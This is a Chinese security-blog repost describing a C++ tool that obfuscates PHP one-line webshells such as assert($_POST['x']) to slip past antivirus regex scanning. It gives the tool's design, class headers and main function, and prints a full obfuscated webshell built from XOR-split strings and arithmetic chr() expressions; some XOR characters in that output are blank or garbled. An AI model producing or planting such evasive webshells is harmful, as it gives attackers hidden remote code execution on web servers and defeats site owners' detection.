对PHP一句话混淆来绕过正则匹配查杀

admin 2022年6月10日10:40:50安全文章评论8 views6931字阅读23分6秒阅读模式
    --人世漫长得转瞬即逝, 有人见尘埃,有人见星辰
对PHP一句话混淆来绕过正则匹配查杀
对PHP一句话混淆来绕过正则匹配查杀

作者:w蛇皮怪怪w

PHP混淆:通过将原本的一句话木马进行混淆,来绕过现今市面上主流杀软的正则表达式匹配查杀.

优点:
  1. 很多工具只是对极少个字符进行拆分,如果进行观察能寻找到对应的特征

  2. 根据时间进行混淆拆分,同样内容文件,时间不同,最终混淆的内容也不同

  3. 工具仅仅进行了混淆代码,并没有加解密内容

  4. 待混淆文件只需要将,待混淆的代码书写即可,不需要添加php的开头结尾(<?php ?>),待混淆文件内容如下

    assert($_GET['x']);

    5.数字表达式的运算单位格式可以大于五个以上

缺点:

  1. 如果文件中真的写入了注释,而程序并没有考虑这种情况的处理,程序可能会把注释也进行转义,具体能否执行未测试

  2. 如果文件中写入了php的开头结尾(<?php?>),混淆后的文件无法使用,这一点是在文件操作类中,设计缺陷,需要后期改进

  3. 混淆的结果,上半部分是对字符的异或分离,下半部分是对字符的数字表达式的拆分。总体上有比较分明的特征,后续还需要一定的加密操作进行再次的特征去除

  4. 大于五个以上的运算表达式,未经测试,理论上可行

  5. 运算表达式的括号数量较多,在表达式生成算法中,需要将括号位置进行优化处理

  6. 如果对方对行为进行检测,而不是内容检测的话,这个小工具效果几乎为零

程序整体概略设计

程序主要分为三个类

  • foperation:功能主要是完成对文件的读写操作

  • codeconfuse:对需要执行的代码进行初级表达式混淆

  • orderconfuse:初级混淆后,字符串中有明显的特征函数(chr),需要利用字符的异或运算,将该函数进行拆解操作,同时也需要将assert类执行函数进行拆解

对PHP一句话混淆来绕过正则匹配查杀


foperation类

对PHP一句话混淆来绕过正则匹配查杀

类说明代码如下:

#include <iostream>#include <fstream>#include <string>
using namespace std;
#ifndef _FOPERATION_H_#define _FOPERATION_H_
class foperation{private: ifstream rFile;//读取操作实例 ofstream wFile;//写入操作实例
char charCache[1024]={''};
string lineResultText;//记录第一次、第二次混淆的结果
int lineCharIndex;//记录读取到当前行的字符位置public:
foperation(string rFileName,string wFileName) { lineCharIndex = 0;
rFile.open(rFileName, ios::in);//读取模式打开文件 wFile.open(wFileName,ios::out);
if (!rFile || !wFile) { cout << "文件打开失败,请检查是否存有该文件或者文件名是否正确。" << endl; } }

~foperation() { //关闭读文件指针 rFile.close();
//关闭写文件指针 wFile.close(); }
//读取文本中的一行 bool readLineText(void);
//获取已读取的一行文本中的一个字符,每调用一次都会依次获取字符,直到遍历整个字符串 char getLineChar(void);
//设置lineResultText void setLineResultText(string result);
//获取第一次混淆的结果,继续进行第二次混淆 string getLineResultText(void);
//将第二次混淆的结果写入php文件中 void writeLineText(void);};
#endif // !_FOPERATION_H_


codeconfuse类

该类主要是将单个字符拆分成二元~五元表达式。形式如下

(1546 - 2795)+1346(((2754) - 1051) - 2615)+1027(((2536) - 1043) - 64) - 1314(1928 - -175933) / 1761(1268 - 1262) * 19

对PHP一句话混淆来绕过正则匹配查杀


codeconfuse类编写思路如下

  1. 直接将字符值拆分二元运算式比较简单,单数如果想要拆分一个多元运算式可能有一定问题

  2. 那么换个思路,随机生成一个运算式,在最后一步进行加或减,校验到正确的字符值,这个过程就比较简单

  3. 但是新问题就是,在每个运算式的结尾就一定是加法或减法,识别度比较高,那么将最开始的字符,通过加、减、乘、除、异或其中一种运算,将其拆分为带校验值与拆分因子,让带校验值去参与加法减法,将其掺和到中间部分,那么识别度就会降低。

  4. 将最初的校验值(字符)转换为“待校验值”身上。

  5. 而产生随机的表达式过程,就可以根据时间生成随机数据,并随机进行五种不同的运算

  6. 在校验操作中,将随机生成的运算表达式 + 待校验值 + 拆分因子 三个元素进行整合

  7. 将最终的字符随机表达式作为返回值返回

  8. 表达式计算结束后,会得到一个整数,整数通过chr函数可以将其转换为字符,效果如下

原始php代码

assert($_POST['x']);

初次混淆后数字表达式(其中chr函数特征明显)

chr(-1605+1702).chr(1186 - 1071).chr((((2131) - 412) - 1714) * 23).chr((((597) * 3) - -115268) / 1159).chr((((713834) / 457) - -15) ^ 1627).chr((1172 - -165868) / 1440).chr((1632 - -75368) / 1925).chr(-1681+1717).chr((((1004241) / 679) - 1474) * 19).chr((((208) ^ 1092) - -90) - 1182).chr((((1807) - 542) - 2731)+1545).chr((1133 - 3061)+2011).chr((((777) * 2) - -114) - 1584).chr((1687 - 1680) * 13).chr(73203 / 1877).chr((1416 - -414) - 1710).chr((((2089) - 972) - 1114) * 13).chr(149079 / 1603).chr((1756 - -55849) / 1405).chr(-1959+2018)


初次代码混淆思路如下

对PHP一句话混淆来绕过正则匹配查杀


类说明代码如下

#include <string>#include <iostream>using namespace std;
#ifndef _CODECONFUSE_H_#define _CODECONFUSE_H_
enum class splitFlag { addSplit,subSplit,mulSplit,divSplit,xorSplit,notSplit};
class codeconfuse{public: string result;//字符拆分的的结果表达式 char inputChar;//输入的字符个数 int operationNumber;//运算元个数
int separationFactor;//拆分因子 splitFlag flag;//拆分操作标记 int proofValue;//待校验值
int bigInteger;//随机生成的大数
string opChar[5] = {"+"," - "," * ", " / ", " ^ "};
int randomRoot;//用于设置随机数的根
private: //为传入的字符串添加一对括号 string addBrackets(string str);
//对传入的数据进行处理 void dataProcessing(void);

//将字符串进行拆分处理,结果将获取拆分因子和被校验值 void charSplit(void);
//根据时间初始化随机函数,获取一个随机大数,整体函数的无字符处理都是基于大数进行处理 void createBigInteger(void);
//加法运算 string addSplit(int opNumber,int bigInteger);
//减法运算 string subSplit(int opNumber, int bigInteger);
//乘法运算 string mulSplit(int opNumber, int bigInteger);
//除法运算 string divSplit(int opNumber, int bigInteger);
//异或运算 string xorSplit(int opNumber, int bigInteger);

//对整体的数据进行校验连接 string dataVerification();//运算元小于等于两个
string dataVerification(int opNumber);//运算元大于两个
//实现对数据的函数随机跳转处理 string randomProcessing(int opNumber, int number1, int number2, splitFlag flag);

public: codeconfuse() {//初始化操作 srand((unsigned)time(NULL));//初始化随机用的根 randomRoot = rand() % 10000;
result = "";//字符拆分的的结果表达式 inputChar = '';//输入的字符个数 operationNumber = 0;//运算元个数 separationFactor = 0;//拆分因子 proofValue = 0;//待校验值 bigInteger = 0;//随机生成的大数 }
//设置需要更变的字符,及运算的运算单元个数 void setData(char inputChar, int operationNumber); //获取运算结果 string getResult(void);};
#endif // !_CODECONFUSE_H_

orderconfuse类

在第一次混淆的结果基础上,将chr进行混淆拆分,字符拆分效果如下

('!'^'I')('$'^'V')

orderconfuse类编写思路

  1. 两个不同的字符进行异或运算,结果也是字符

  2. 那么将多个字符进行异或拆分,将多个异或表达式用“.”进行连接处理,最终就连成了代码。

  3. 而获取不同的异或字符对,利用两个循环进行遍历即可

  4. 为了实现同一字符产生不同的异或字符对,利用随机函数设置循环的起始点,就能达到随机异或字符对

  5. 在实现过程中,发现不可见字符具有较大影响,因此直接通过isspace函数配合手动黑名单,将特殊字符进行筛选

类说明代码如下

#include <iostream>#include <string>
using namespace std;
#ifndef _ORDERCONFUSE_H_#define _ORDERCONFUSE_H_
class orderconfuse{ string varName; string codeString; int randomRoot;public:
orderconfuse() { srand((unsigned)time(NULL));
varName = ""; codeString = ""; randomRoot = rand(); }
//实现对assert的编码处理 string confuseAssert(void);
//实现对chr的处理 string confuseChr();
//利用confuseAssert和confuseChr进行整体的混淆 string confuse(string str);};

#endif // !_ORDERCONFUSE_H_


最终将三个类进行结合使用,main函数代码如下

#include <iostream>#include <string>#include <cstdlib>#include <cstdio>#include <ctime>#include <windows.h>
#include "foperation.h"#include "codeconfuse.h"#include "orderconfuse.h"
using namespace std;
int main() { string startFlag; string endFlag; string readFileName; string saveFileName; codeconfuse codeC;//混淆实例 orderconfuse orderC;//代码混淆
cout << "请输入带混淆文件路径(包括文件名):" << endl; cin >> readFileName;
cout << "请输入文件保存的名称:" << endl; cin >> saveFileName;
foperation fop(readFileName, saveFileName); fop.setLineResultText("<?php"); fop.writeLineText();
bool isDoubleQuotationMarks = false;//标记字符是否为双引号 bool isSingleQuotes = false;//标记获取的字符是否为单引号
while (fop.readLineText()) {//读取文件的一行内容
string result; while (char ch = fop.getLineChar()) {
//设置需要进行数字编码的字符 codeC.setData(ch, rand()%3+2); //获取字符对应的随机运算式 string str = codeC.getResult(); //拼接php的chr函数,对值进行解析 str = "chr" + str + '.'; result = result + str; }
result[result.length() - 1] = ' ';//第一阶段,处理好的当前行代码
cout << result << endl;
result = orderC.confuse(result);
fop.setLineResultText(result); fop.writeLineText(); }
fop.setLineResultText("?>"); fop.writeLineText();
return 0;}

最终混淆的效果如下

#原始php代码assert($_POST['x']);

混淆后表达式内容(其中存在移动的乱码,typora无法显示)

<?php

$h= (' '^'c').(''^'k').(''^'t') ;$d= (''^'m').(''^'f').(''^'b') ;$a= (''^'p').(''^'~').(''^'h') ;$S= (''^'~').('!'^'I').('$'^'V') ;$U= ('*'^'I').('*'^'B').('-'^'_') ;$S= ('1'^'R').(''^'j').(''^'w') ;$P= (''^'k').(''^'f').(''^'}') ;$M= (''^'q').(''^'}').(''^'k') ;$J= (''^'').(''^'w').('#'^'Q') ;$H= ('&'^'E').('*'^'B').(','^'^') ;$E= ('0'^'S').(''^'i').(''^'v') ;$B= (''^'d').(''^'f').(''^'|') ;$y= (''^'r').(''^'|').(''^'j') ;$v= (''^'x').(''^'v').('#'^'Q') ;$t= ('%'^'F').('*'^'B').('+'^'Y') ;$q= ('/'^'L').(' '^'h').(''^'q') ;$n= (''^'e').(''^'f').(''^'|') ;$k= (''^'s').(''^'{').(''^'e') ;$i= (''^'y').(''^'u').('!'^'S') ;$f= ('$'^'G').('*'^'B').('*'^'X') ;$c=('.'^'O').('1'^'B').(''^'q').(''^'`').(''^'|').(''^'z') ;$c($h(-1605+1702).$d(1186 - 1071).$a((((2131) - 412) - 1714) * 23).$S((((597) * 3) - -115268) / 1159).$U((((713834) / 457) - -15) ^ 1627).$S((1172 - -165868) / 1440).$P((1632 - -75368) / 1925).$M(-1681+1717).$J((((1004241) / 679) - 1474) * 19).$H((((208) ^ 1092) - -90) - 1182).$E((((1807) - 542) - 2731)+1545).$B((1133 - 3061)+2011).$y((((777) * 2) - -114) - 1584).$v((1687 - 1680) * 13).$t(73203 / 1877).$q((1416 - -414) - 1710).$n((((2089) - 972) - 1114) * 13).$k(149079 / 1603).$i((1756 - -55849) / 1405).$f(-1959+2018) );

?>

效果如下:

对PHP一句话混淆来绕过正则匹配查杀


原文始发于微信公众号(0x00实验室):对PHP一句话混淆来绕过正则匹配查杀

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月10日10:40:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  对PHP一句话混淆来绕过正则匹配查杀 http://cn-sec.com/archives/1105191.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: